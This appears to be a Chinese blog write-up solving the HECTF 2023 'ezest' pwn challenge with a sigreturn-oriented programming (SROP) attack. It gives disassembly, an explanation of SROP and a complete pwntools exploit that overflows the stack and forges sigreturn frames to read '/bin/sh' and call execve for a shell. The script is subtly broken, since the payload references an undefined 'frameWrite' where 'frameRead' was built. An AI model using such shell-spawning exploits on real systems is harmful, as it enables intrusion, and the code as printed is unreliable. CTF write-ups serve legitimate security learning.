2023 第七届 HECTF 信息安全挑战赛ezest

分析

函数分析

通过ida可以找到题目给了一个gadget

.text:000000000040110A 55                            push    rbp
.text:000000000040110B 48 89 E5                      mov     rbp, rsp
.text:000000000040110E 48 C7 C0 00 00 00 00          mov     rax, 0
.text:0000000000401115 48 C7 C7 00 00 00 00          mov     rdi, 0                          ; fd
.text:000000000040111C 48 8D 75 F0                   lea     rsi, [rbp+buf]                  ; buf
.text:0000000000401120 48 C7 C2 00 02 00 00          mov     rdx, 200h                       ; count
.text:0000000000401127 0F 05                         syscall                                 ; LINUX - sys_read
.text:0000000000401129 C3                            retn

从main函数中可以看到这里使用了syscall,而syscall在调用哪个函数在此处是由rax的值决定的,溢出点可以确定在main函数的read中,偏移是0x10

.text:0000000000401131 F3 0F 1E FA                   endbr64
.text:0000000000401135 55                            push    rbp
.text:0000000000401136 48 89 E5                      mov     rbp, rsp
.text:0000000000401139 48 C7 C0 0F 00 00 00          mov     rax, 0Fh
.text:0000000000401140 C3                            retn

在gadget中可以看到有一个 mov rax,0Fh ,在syscall中,rt_sigreturn的系统调用号就是0Fh,到这里可以大致确定使用的是srop

srop背景

在 UNIX 和类 UNIX 系统中,当一个程序接收到信号(如 SIGINT 或 SIGSEGV)时,操作系统会暂停当前的程序执行,保存程序的上下文(包括所有寄存器的状态),然后跳转到信号处理函数。一旦信号处理完成,rt_sigreturn 系统调用被用来恢复保存的程序上下文,并继续执行原程序。

SROP 攻击概述

SROP 攻击利用 rt_sigreturn 来控制程序的执行流程。这种攻击的关键在于构造一个伪造的信号帧(包含寄存器的状态),然后通过程序中的漏洞(如栈溢出)引导程序执行 rt_sigreturn,从而使操作系统恢复这个伪造的信号帧。

解题

流程

1. 构造信号帧

攻击者首先构造一个伪造的信号帧,这个帧包含了被恢复的所有寄存器的值,包括程序计数器(PC)、栈指针(SP)等。

2. 触发 rt_sigreturn

通过某种方式(例如栈溢出)将程序的执行流程引导到 syscall 指令,并使得相应的寄存器设置为 rt_sigreturn 的系统调用号。

3. 利用恢复的上下文执行代码

当 rt_sigreturn 被调用时,它将从伪造的信号帧中恢复寄存器状态,包括 PC。这允许攻击者控制程序接下来的执行流程。

思路

首先让栈溢出,使其溢出到mov rax,0Fh(在gadget中),然后使其retn之syscall,至此就可以完成rt_sigreturn的调用,接着构造一个信号帧,使用pwntool中的SigreturnFrame(),信号帧中设置好寄存器的值,此处未想到其他‘/bin/sh’字符串的来源,故此处使用read函数读取‘/bin/sh’,将字符串存至bss段中,接着再返回之syscall中调用execve函数

exp

from pwn import *

sh=remote('',)

syscallAddr=0x401127

elf=ELF('./pwn11')
gadgetAddr=0x401139

binshStr=elf.bss(0)
rspAddr=elf.bss(8)

context.arch = "amd64"
frameRead = SigreturnFrame()
frameRead.rax = 0 
frameRead.rdi = 0
frameRead.rsi = binshStr
frameRead.rdx = 0x1000
frameRead.rip = syscallAddr
frameRead.rsp = rspAddr

payload=b'A'*16+p64(gadgetAddr)+p64(syscallAddr)+bytes(frameWrite)

sh.send(payload)

frameExecve = SigreturnFrame()
frameExecve.rax = 59  # execve 系统调用号
frameExecve.rdi = binshStr 
frameExecve.rsi = 0 
frameExecve.rdx = 0 
frameExecve.rip = syscallAddr 
frameExecve.rsp = rspAddr

payload1=b'/bin/sh\x00'+p64(gadgetAddr)+p64(syscallAddr)+bytes(frameExecve)

sh.send(payload1)

sh.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值